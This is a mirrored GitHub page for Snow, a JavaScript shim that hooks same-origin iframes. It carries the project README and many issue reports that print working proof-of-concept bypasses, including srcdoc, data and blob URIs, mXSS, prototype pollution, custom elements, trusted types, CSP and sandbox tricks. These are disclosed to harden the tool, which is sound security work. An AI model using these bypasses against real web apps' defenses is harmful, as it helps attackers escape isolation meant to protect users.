GithubHelp home page GithubHelp logo

lavamoat / snow Goto Github PK

View Code? Open in Web Editor NEW
98.0 5.0 9.0 412 KB

Use Snow to finally secure your web app's same origin realms!

Home Page: https://lavamoat.github.io/snow/demo/

License: MIT License

JavaScript 99.60% HTML 0.40%
iframe javascript security realms

snow's Introduction

Snow JS ❄️

~ Securing Nested Ownership of Windows ~



/ Keeping an 👀 on these <iframe>s for ya! /

Snow is the most advanced open sourced tool for securing same origin realms in runtime browser apps - secured and easy to use:

<script src="https://unpkg.com/@lavamoat/snow/snow.prod.js"></script>
  • Pass Snow a callback and Snow will invoke it with every new window object in runtime!
SNOW( win => console.log('New window detected:', win) )
❄️SNOW❄️

Snow aspires to standardize how to recursively and securely own newborn windows (aka iframes/realms)
within a browser web app, from the context of the app itself .

About

Snow is an experimental ⚠️ tool coming in the form of a JavaScript shim that once is applied to the page exposes an API that when is provided with a callback, will make sure to call it with every new window that is being injected to DOM, before its creator gets a hold on it.

This ability exists for extensions (with the all_frames: true property), but Snow brings it to non extension javascript with the same privileges as the web app.

Read more about Snow and the motivation behind it here

🚨 IMPORTANT UPDATE 🚨

Starting Version 2.0.1 Snow officially doesn't support vulnerabilities that can be protected against by disallowing unsafe-inline completely and by correctly using the object-src directive to not allow self.

In addition, Snow "stops playing nice" - operations that are considered insecure will be intercepted and cause Snow to throw an exception. This is part of the realization we reached as part of the work on Snow, where "nice security" leaves Snow vulnerable, and true security can only be shipped with a more "aggresive" approach.

  • To learn more why is that, see #133.

Demo - The Snow Challenge! 🏆

Screenshot 2023-02-25 at 19 54 33

Snow's challenge is the easiest way to graspe the power of Snow.

Here we have a serverless demo app, which installs and uses Snow to disable the functionality of the alert function for all same origin realms.

In other words, the app uses Snow to make sure no one can call the alert function, not even when:

  • Trying to create an <iframe> and use its inner window's alert;
  • Trying to call the alert function from the console (even self-XSS won't help you!);
  • Trying to open a new tab and use its alert.

Hence, the rulls are very simple - visit the app and pop an alert! 😉

If you manage to bypass Snow and pop an alert message - help us by opening an issue so we could continue to improve Snow's security!

Usage

// API
SNOW(cb = (win) => { /* LOGIC */ });


// example, disable alert API in the webpage completely
SNOW((win) => {
    win.alert = (msg) => {
        console.log('alert is disabled! msg is: ' + msg);
    };
});

Install

The latest snow production version is included in the official repo and also in upkg cdn, so in order to install snow in the website, simply place it wherever and serve it to the website as-is:

<script src="https://unpkg.com/@lavamoat/snow/snow.prod.js"></script>

After this line, window should expose window.SNOW API for the rest of the scripts in the website to use.

Not like standard third party libraries, snow has special requirements (security-wise) in order for it to play its role securely.

👇 It is highly important to be aware of them when integrating Snow into an app to gain full security - READ CAREFULLY 👇:

  1. It has to run as the first piece of javascript that runs in the webpage - otherwise any other javascript code will have the ability to bypass snow and cancel its purpose completely (that's why snow can never overpower extensions). In order to achieve that, when loading via a script tag it must load script synchronously (do not use async=true!).

  2. It has to be served as-is - If it goes through any bundlers that might change it, the modified version might contain flaws that attackers might use to cancel its effect (for further explanation see natives section).

  3. Snow needs to be set and called in every HTML page served from your web app - Even though this is the attack vector Snow tries to protect the app against, there are types of attacks Snow won't be able to defend against (which is why we want Snow to become a native browser feature so bad!). This mainly refers to the #73 discovery. The only way to defend the app against such an attack it to make sure all HTML files served by the app load Snow themselves. Does this make Snow useless? No - there are planty other types of attacks Snow defends your app against.

  4. Most importantly, it's highly vulnerable without minimal help from CSP - As of version 2.0.1 the project will seize to attempt to defend against vulnerabilities that aren't possible to exploit when (a) unsafe-inline isn't allowed and (b) object-src to self isn't allowed. This is because (a) defending against string-JS attacks is basically an endless task and probably impossible, and (b) object/embed elements behaviour is also too unpredictable while these elements shouldn't be even used in the first place. Snow will do its best regardless of what CSP is applied - use at your own risk!

    • please learn more about this ☝️ at #118 & #133

SNOW API can also be required as part of a bundle instead of a script tag:

yarn add @lavamoat/snow
const snow = require('@lavamoat/snow');

Contribute

This project is an important POC aspiring to standardize how windows should be hermetically handled, however it is not yet production ready.

snow eventually is a shim that comes to both demonstrate and utilize the API we wish to see builtin to browsers in the future. Until snow becomes a platform builtin API, we have to attempt to overcome several challenges that are significantly harder to do so in pure javascript:

Support

snow supports Chrome, Firefox, Safari and all other Chromium based browsers (Opera, Edge, Brave, etc).

Performance

Achieving a hermetic solution costs in performance. Injecting this script into some major websites went smoothly while with some others it caused them some performance issues.

Security

Although this project takes the hermetic concept very seriously and massively tests for potential flaws, snow might potentially still have flaws which might enable attackers to bypass its hooks.

Bottom line - snow might have security vulnerabilities!

Hopefully in the future snow will become a builtin API provided by the browser. Achieving that goal will allow security assurance - such functionality will be safer to implement on behalf of the browser rather than the web app.

Tests

In order to assure security, there are many tests that verify that snow is fully hermetic as promised - everything that snow supports is fully tested.

The tests mainly try to bypass snow in any possible way.

If you found a vulnerability in snow, open a PR with a test that demonstrates it (or just let us know, and we'll do it).

Help

Help with promoting any of the topics above is very much appreciated in order for this project to become production ready and reshape how hermetic window hooking should look like!

Troubleshooting

In log.js file you can find references to issues you might encounter using snow. If you do, you should see an error/warning thrown to console in your application with a reference to the relevant issue thread.

In each thread a discussion around the issue is being made in order to better solve it, so please share your experience with the issue in order for us to solve it in the best way possible.

If you encounter an issue that is not being handled by snow correctly, please open a new one.

Supporters

Funded by Consensys 💙

Maintained and developed by MetaMask 🦊

Part of the LavaMoat 🌋 Javascript security toolbox

Invented and developed by Gal Weizman 👋🏻

snow's People

Contributors

mmndaniel avatar weizman avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

snow's Issues

Bypass using nested iframe

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
<iframe srcdoc="<iframe></iframe><script>frames[0].alert(1)</script>">
</iframe>`;

No src, srcdoc, attributes, listeners, etc... so it's just left unhooked.

Snow can be bypassed with a data url iframe performing the alert

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{ 

const fr = document.createElement('iframe');
fr.src = "data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGknKTwvc2NyaXB0Pg=="
document.body.appendChild(fr);

        
}

Snow can be bypassed with overriding the "arguments" object prototype

Reproduce by running

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{ 

(function() {
  Object.defineProperty(arguments.__proto__, '0', {
    get() {
      const whereAmI = (new Error).stack;
      if (whereAmI.includes('hook')) {
        this.length = 0; // empty frames array
        return undefined;
      }
      return this.payload;  
    },
    set(value) {
      // debugger;
      this.length = 1;
      this.payload = value;
    }
  });
})();

const fr = document.createElement('iframe');
document.body.appendChild(fr);
fr.contentWindow.alert.call(null, 'pwn');

}

Clash when snow protected page opens itself

<!-- https://wow.com/x.html -->
<script> SNOW(() => {}); </script>
<script> open('https://wow.com/x.html'); </script>
  • load https://wow.com/x.html.
  • page runs Snow protection.
  • page opens new window to https://wow.com/x.html and marks it.
  • opened page tries to run snow protection and to mark it, but fails because opener has marked it already.
  • infinite loop.

This is tricky, how do i make the opened understand that it is Snow protected without an attacker being able to leverage that?

Open window, than open iframe seems to bypass Snow

It seems like:

  • Open new window
  • From new window, open iframe
  • Using iframe window, try bypassing Snow

Bypasses Snow..

This should be tested, and also trace back where this bug was introduced first (unless was always the case which seems unlikely to me)

Snow can be bypassed with ...data: URI

Hey Gal! Nice to "meet you". I was reading your DevTools detection mechanism yesterday and I ended up landing into this LavaMoat. The challenge looked interesting (you know, when it bites you, you can't stop!) so I give it a few tries, and luckily, it worked!

Here's the code. I believe the best strategy to patch this would be to check whenever a non-accessible domain has iFrames inside, and if that's the case you can continue iterating and testing until you make sure none has access.

Have a great day!

iFrame = document.createElement('iframe');
iFrame.src="data:text/html,A<iframe src=https://lavamoat.github.io/snow/></iframe>";
document.body.appendChild(iFrame);
// At this point, your fantastic script can't access the first iFrame because of the data: URI, however you should have access to the internal one as soon as it renders.

// Let's give a bit  of time for the internal iFrame to render before accessing its window object
setTimeout(() => {
    iFrame.contentWindow[0].alert.call( top, 'did it work?!' );
}, 500);

Is Snow useless without CSP?

I'm lately coming to the realization that Snow cannot protect same origin realms completely and will need some help from CSP.
I'd like to start an initiative around encouraging users to remember to use Snow while implementing some baseline of CSP. This creates a few tasks:

  1. Research and understand what are the things and what is the spectrum Snow won't be able to defend against
  2. Come up with a CSP that is as permissive as possible while as helping to Snow with protection as possible
  3. Make it clear in documentation that this level of CSP is needed, explain it and break down the different directives
  4. Create a hardened version of the demo that applies the CSP, so that we'll be able to differentiate Snow vulns that bypass both Snow and CSP or just Snow

This is important for the future of Snow because it's probably close to useless without CSP since there are some techniques Snow cannot defend against (unfortunately).

Question about securely vs endo

hey! @weizman this is an awesome project you've created here. These types of efforts are going to have a massive impact on securing JavaScript code regardless of the environment in which it's running. 🙂

I read through the snow wiki last night and it's a really interesting problem you're setting out to solve here. I have one question regarding Snow's use of securely.

After you explained the role securely plays in the Snow standard, you mention the following:

However, we highly recommend to learn about SES effort which is a standard in the making on how to effectively deal with this issue.

I'm wondering how securely's approach to freezing native APIs differs from the approach Endo takes with lockdown and harden. It seems like something is currently blocking securely from using any of the Endo APIs at this point. But there may be a plan to integrate Endo APIs at a later time.

Are these accurate assumptions? And if so, can you add context into what that blocker may be?

Thanks again for your work here!

Custom elements are still vulnerable

Snow protection for custom elements that can be extensions for "framable" elements (iframe/frame/object/embed) is not as good as I thought, There are other tricks that can be used there to bypass Snow in a way that is hard to deal with.

Before discovering this, lifecycle callbacks such as the connectedCallback were 2nd in line to Snow, but when applying src to the elements or using other lifecycle callbacks, these callbacks become 1st in line which makes things highly complicated.

Also, when trying to support Firefox #53 both tests from before and after this discovery are vulnerable.

Bypass using mXSS

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML =  `<iframe
	srcdoc="<form><math><mtext></form><form><mglyph><style></math><iframe src=&quot;javascript:alert(1)&quot;></iframe>"
</iframe>`;

Shamelessly stolen from here, I knew something like that would work when I saw this code path (parse, serialize, parse) :)

Hooks for "addEventListener" and "removeEventListener" are wrongly depending on "this"

If you look at listeners.js#L30 and listeners.js#L41 you'd see that in both addEventListener and removeEventListener listeners patches the call for the native functions rely on this being the this value of the call.

So if you call {window/document/document.body}.{addEventListener/removeEventListener}('some_event', () => {}) it'll work, but if you do {addEventListener/removeEventListener}('some_event', () => {}) the this will resolve to undefined even though it should be window.

This needs to be fixed.

Snow can be bypassed with custom elements and shadow DOM

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{
let resolve;
const ready = new Promise((r) => resolve = r);
 
class NotFrame extends HTMLElement {
  constructor() {
    super()
    this.attachShadow( { mode: 'open' } )
        .innerHTML = "<iframe></iframe>"
  }
  connectedCallback() {
    window.hax = this.shadowRoot.querySelector( 'iframe' ).contentWindow.alert;
    resolve();
  }
}
customElements.define('legit-element', NotFrame)
document.body.appendChild(document.createElement('legit-element'));

ready.then(() => {
  window.hax('hey, if you type in your pw, it will show as stars');
});

}

Snow can be bypassed with a TrustedHTML node

reproduce by running

{
const escapeHTMLPolicy = trustedTypes.createPolicy("myEscapePolicy", {
  createHTML: (string) => string.replace('', '')
});

const escaped = escapeHTMLPolicy.createHTML("<iframe onload='this.contentWindow.alert(1)'></iframe>");
document.head.innerHTML=escaped;
}

this can be done because Snow excepts specifically TrustedHTML nodes due to poor judgment of "9 months ago gal"

more javascript uri bypasses with target attr

f = document.createElement('div');
f.innerHTML = `
<a id="pwn" target="lolpwnd" href="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").click();
f = document.createElement('div');
f.innerHTML = `
<form id="pwn" method="GET" target="lolpwnd" action="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").submit();

Snow can be bypassed with iframe.srcdoc prop

{
                const ifr = document.createElement('iframe');
                top.bypass = (w)=>w[0].alert();
                ifr.srcdoc = `
                             <iframe onload="top.bypass([this.contentWindow]);"></iframe>
                             <script>setTimeout(() => top.bypass([window]), 1000)</script>
                `;
                document.head.appendChild(ifr);
}

Bypass with Range.insertNode

Nothing too clever, just yet another node insertion method that isn't hooked :)

var range = document.createRange();
var f = document.createElement("iframe");
range.selectNode(document.getElementsByTagName("head")[0]);
range.insertNode(f);
f.contentWindow.alert.call(top, 1);

Bypasses via Blob URIs

f = document.createElement('iframe');
document.body.appendChild(f);
f.src = URL.createObjectURL(new Blob(["<script>alert.call(top, top.origin)</script>"], {type: "text/html"}));
window.location = URL.createObjectURL(new Blob(["<script>alert(window.origin)</script>"], {type: "text/html"}));

Current window marking technique may cause an infinite loop

context can be found here #24

Current window marking technique seems to work correctly and should be "untamperable".

However, if an attacker manages to mess with the marking process of a window, including making the process throw an exception, they can leverage such a scenario to create a window that doesn't go through snow protection which is effectively a full bypass of snow.

Therefore, it seems that in such rare case the only way to protect against a snow bypass is by going into an intentional infinite loop, while hoping that the marking process is really something attackers can mess with really.

if such infinite loop occurs for a reason we didn't expect, current marking technique should be revisited.

Snow can be bypassed with frameSet

It seems that I'm inspired :) Here's another one using a frameset. Top access directly.

iFrame = document.createElement('iframe');
iFrame.srcdoc = '<frameset><frame src="javascript:alert.call(top, 1 )"></frameset>';
document.body.appendChild(iFrame);

Happy patching!

Snow breaks the spec regarding {add/remove}EventListener

There are specific rules to follow when adding/removing event listeners, some of them are:

  1. a listener removed must be the same one that was added
  2. a listener added won't apply again if was added before (unless options are different)

Snow breaks that because it adds a wrapped version of the provided listener but doesn't track it for when (1) or (2) happen.

Bypass Snow via declarative shadow DOM

You can create a shadowDOM via <template> tag shadowroot attribute in chrome, this is called the declarative shadow DOM: https://web.dev/declarative-shadow-dom/

Declarative Shadow DOM is processed and attached when the document is loaded, so we use it in an iframe srcdoc.

f = document.createElement('iframe');
// works for both open and closed shadowroot
f.srcdoc = `
<my-element>
<template id="x" shadowroot="closed">
<b>In Template & ShadowDOM</b>
<iframe src="javascript:alert(document.domain)"></iframe>
</template>
</my-element>
`;
document.body.appendChild(f);

Old Snow tests show Snow vulnerability on Firefox

Lines 50 and 74 are old tests that do crazy stuff to bypass Snow using embed and object.

Now with #53, These tests show that on Firefox Snow fails to protect realms when those techniques are being used.
This is an active vulnerability in Snow-Firefox that needs to be addressed

Open API allows bypassing Snow

window.open creates a security flaw for Snow that is very hard to patch.

REPRODUCE

  1. load Snow in a webpage that is not "https://x.com"
  2. run SNOW(w=>alert=111)
  3. run POC below

EXPECTED

alert should fail since now it is 111

ACTUAL

alert works, Snow is bypassed

zzz=open("https://x.com");
setTimeout(() => {
    zzz.location.href="about:blank";
    setTimeout(() => {
        zzz.alert.call(window, 222);
    }, 1000);
}, 1000);

PROBLEM

what happens is that an attacker has the ability to create a new window by using open API, that is not subject to Snow's
load event listener since it has no frame element.
at first stage, an attacker can set the new window on init to a cross domain origin and by that make Snow skip this window for being cross origin.
at second stage, the attacker can redirect that window by reference to the same domain as the current page in order to have access to its properties and obtain native functionality.
at this point Snow has no way of telling that this location switch took place since there is no way by definition to get information regarding a redirect of a window.

SOLUTION

The following is the best idea I have at the moment, I wish someone would come up with a better idea!

SNOW API should allow 3 modes:

  1. disable open API in the webpage completely
  2. init a non-stopping setInterval the first time open API is used within the page, that goes over every window that was opened by open API and tries to apply Snow on it for the moment it might become same origin.
  3. do nothing (freely enable open API)

user of Snow may use their preferred mode.

Snow can be bypassed with setting Symbol.toStringTag

The check in

snow/snow.js

Line 208 in 534041e

if (!isFrameElement(frame)) {
is not correct namely:

/*
attempts to bypass Snow after running:

SNOW((win) => {
    win.alert = (msg) => {
        console.log('Snow: ', 'alert API is disabled, message is printed to console instead: ', msg);
    }
});
*/
{ 
var fr = document.createElement('iframe');
Object.defineProperty(fr, Symbol.toStringTag, { value: 'bypassResetOnload' });
fr.onload = () => fr.contentWindow.alert('bypass');
document.body.appendChild(fr);
}

Instead, a non forgeable brand check should be used.

Additionally the order of onload does not get reset when onload is set to null . nvm, will need to develop this to illustrate it better.

Bypass using trusted types default policy

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
  <iframe srcdoc="
    <meta http-equiv='Content-Security-Policy' content=&quot;require-trusted-types-for 'script';&quot;>. 
    <script>
      trustedTypes.createPolicy('default', { createHTML: s=>s, createScript: function (s) { return ''; } });
      setTimeout(()=>frames[0].alert(1),100);
    </script>
  <iframe src=\'javascript:alert(1)\'</iframe>"></iframe>
`

The idea was taking advantage of trusted types default policy to break the "atomicity" of the hooks (i.e., the malicious policy will get called after the hooks, but before the actual HTML/script assignment). There are several different directions, here I just use the createScript to break the internal SNOW_WINDOW(this) in the javascript: URI :)

Snow fails to support compatibility with Shadow DOM

the following:

a=document.createElement('div');
i=document.createElement('iframe');
s=a.attachShadow({mode:'open'});
s.appendChild(i);
document.head.append(a);

throws an uncaught error under Snow instead of working properly

Demo has insecure implementation

Using the code <script src="./snow.js"></script> and later having <i style="font-size: 24px">~ Can you pop an <a href="javascript:alert(123)">alert</a> in this page?</i> is not safe because the script load may fail.

  • Client is being DoSed by external attacker or a different websites JavaScript.
  • Sever is being DoSed or is being malicious when the client uses Subresource Integrity.

More information can be found at https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/#skipping-dependencies
I think the solution would be to use an event or variable to know when the sandbox is enforced.

Bypass with Object.prototype pollution

Object.defineProperty(Object.prototype, 'haha', {
    enumerable: true,
    value: undefined
});

var f = document.createElement('iframe');
try {
    document.head.appendChild(f);
} catch (e) {}
f.contentWindow.alert(1);

Should use the Object from natives and Object.create(null)...

Bypass using iframe sandbox

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML =  `<iframe
	srcdoc="<iframe sandbox='allow-same-origin' src='javascript:alert(1)'></iframe><script>frames[0].alert.call(top, 1);</script>"
</iframe>`;

Same idea as #90, just using sandbox to break the internal SNOW_WINDOW call :)

Bypass using CSP

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML = `
<iframe
	srcdoc="
	<meta http-equiv='Content-Security-Policy' content=&quot;script-src 'nonce-pwnd' ;&quot;>
		<iframe src=&quot;javascript:haha&quot;>
		</iframe>
	<script nonce=&quot;pwnd&quot;>frames[0].alert(1);</script>">
</iframe>`

Similar to #90 and #92, using CSP to prevent SNOW_WINDOW from running :)

Figure out how or whether should Snow deal with wrapping of html string iframe onload attributes

Theoretically Snow can be bypassed by running:

top.msg = 'this window is not protected by snow!';
document.head.innerHTML = '<iframe onload="this.contentWindow.alert.call(top, top.msg)"></iframe>';

In order to deal with this issue, Snow removes onload attributes from iframes that are constructed via strings.

It does so because this doesn't seem to be a technique that is used under legitimate scenarios, but can be leveraged by attackers to bypass Snow.

Firefox tests fail to run document.write calls

In order to introduce Firefox support in #53 I had to not execute tests on Firefox that include document.write calls because Firefox rejects those as Security Errors only when running as automated browser for a reason I don't understand.

Solving this at some point will be great.

Snow can be bypassed with custom elements connectedCallback (no shadow dom)

Reproduce by running:

{
window.n = window.n ?? 0;
window.n++;
 
class NotFrame extends HTMLIFrameElement {
  constructor() {
    super()
  }
  connectedCallback() {
    this.contentWindow.alert('I will not buy this tobacconist, it is scratched');
  }
}
customElements.define(`legit-element${n}`, NotFrame, { extends: 'iframe' })
document.body.appendChild(document.createElement('iframe', { is: `legit-element${n}` }));
console.log(document.body.lastElementChild.is)

}

Bypass using trusted HTML type confusion

var d = document.createElement('div')
d.innerHTML = '<iframe id="f"></iframe>';
var f = d.firstChild;
d.toJSON = ()=>'asd';
f.toJSON = ()=>'asd';
document.documentElement.toJSON = ()=>'asd';
document.body.appendChild(d);
f.contentWindow.alert(1);

Essentially exploiting two things:
a. JSON.stringify bevavior can be overridden with toJSON method (see MDN)
b. This line excludes trusted HTMLs (perhaps because it assumes it was already handled by handleHTML?) by evaluating: typeof parse(stringify(node, replacer)) === 'string', which can be made to return true by utilizing a.

Blob override is not good enough and clashes with whatwg-fetch npm package

  • @Vadman97 commented highlight/highlight#3934 (comment) where he shows multiple issues with Snow integration.
  • I was able to reproduce specifically the exception with the [object Blob] thing on LinkedIn (which I believe is the same issue).
    • This happens because LinkedIn uses whatwg-fetch which tries to tell what is the type of a message body parameter.
    • To determine whether it is a Blob, it runs support.blob && Blob.prototype.isPrototypeOf(body) where true indicates it is a Blob.
    • Since our wrap makes Blob inherit from Function instead of Blob, this fails and we end up on a different conclusion which results in a shitstorm basically.
  • Moreover, Current implementation is not secure enough.
    • One can get a hold on a Blob instance that is not created via new Blob() and thus bypassing Snow.
    • For example, XHR when configured right responds with a native Blob object which obviously isn't affected by our monkey patching.
  • These issues require attention, especially making sure web apps don't break when running on Snow

Support "unsafes" - unsafely configure Snow to allow non-secure operations

UPDATE: see #110 (comment)

As of today, it is a conscious decision to disable some native behaviour in the browser when it is (1) posing a security concern to Snow and (2) is a behaviour that is unused legitimately in the wild.

This is something we'll continue to do, but it's also contradicting our will to make Snow a perfect shim, meaning it shouldn't harm web apps normal behaviour whatsoever.

Therefore, it is time to allow some level of configuration for Snow.

At the very least, a way to tell Snow to either "block activities that might pose danger to Snow" or "keep Snow protection, but not at the cost of disabling browser native behaviour", so that security focused vendors could take the risk, while observability focused vendors could opt out of that risk and stick to most realm creation cases instead of all (e.g. what happened at highlight/highlight#3934)

Bypass with Function.prototype.call pollution

var _call = Function.prototype.call;
Function.prototype.call = function() {
    var args = Array.from(arguments);
    if (args[2].toString().includes('hook')) {
        _addEventListener = this; // steal ref
        return;
    }
    return _call.apply(this, args);
};
var f = document.createElement('iframe');
document.body.appendChild(f);
var f2 = document.createElement('iframe');
_addEventListener.apply(f2, ['load', function() {
    this.contentWindow.alert(1);
}]);
document.body.appendChild(f2);

Bypass with multiple doc.write calls

var f = document.createElement('iframe');
document.body.appendChild(f);
f.contentDocument.write('<iframe id="tst');
f.contentDocument.write('"></iframe><script>tst.contentWindow.alert(1);</script>');

What happens is that document.write calls are buffered, but handleHTML sees only one chunk at a time so it won't find anything inside the template.

Bug in JSON parsing on TikTok caused by Snow

Changes introduced in #48 for handling html better introduced a bug that occurred on tiktok.com where innerHTML got a JSON to work with, and handled it even though it shouldn't have, causing the JSON to encounter new quotes within it causing it to no longer be a valid JSON

Firefox does not respect addEventListener calls made with EventTarget of a detached realm

We extract all of the natives we need to operate Snow from within an iframe that is immediately detached from DOM to prevent attackers from accessing the natives' realm and abusing it.

Apparently in Firefox, if a call to addEventListener is made and that addEventListener originated in a detached realm, Firefox ignores it (even if the function is called on an object of another realm that is correctly attached and live).

Possible solution:

  1. Instead of detaching the assisting iframe, hide it in a ShadowDOM.
  2. make a unique non-changeable copy of specifically addEventListener from the top main realm instead of the detached iframe.

Bypass using by making contentWindow to throw an exception

var f = document.createElement('iframe');
Object.defineProperty(f, 'contentWindow', {
    get: function() {
        throw new Error('pwnd');
    }
});
try {
    document.body.appendChild(f);
} catch (e) {}
frames[0].alert(1);

This is what I mean here, but actually exploits the chromium bug workaround this time :)

Snow can be bypassed with postMessage from iframe by accessing event.source and event.currentTarget

Reproduce by running

const handler = (event) => {
  event.currentTarget.alert(1)
  event.source.alert(1);
  window.removeEventListener('message', handler);
};

window.addEventListener('message', handler);

const iframe = document.createElement('iframe');

document.body.append(iframe);

const script = iframe.contentDocument.createElement('script');
script.textContent = `
  window.parent.postMessage(0, '*');
`;

iframe.contentDocument.body.append(script);

In https://lavamoat.github.io/snow/demo/

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.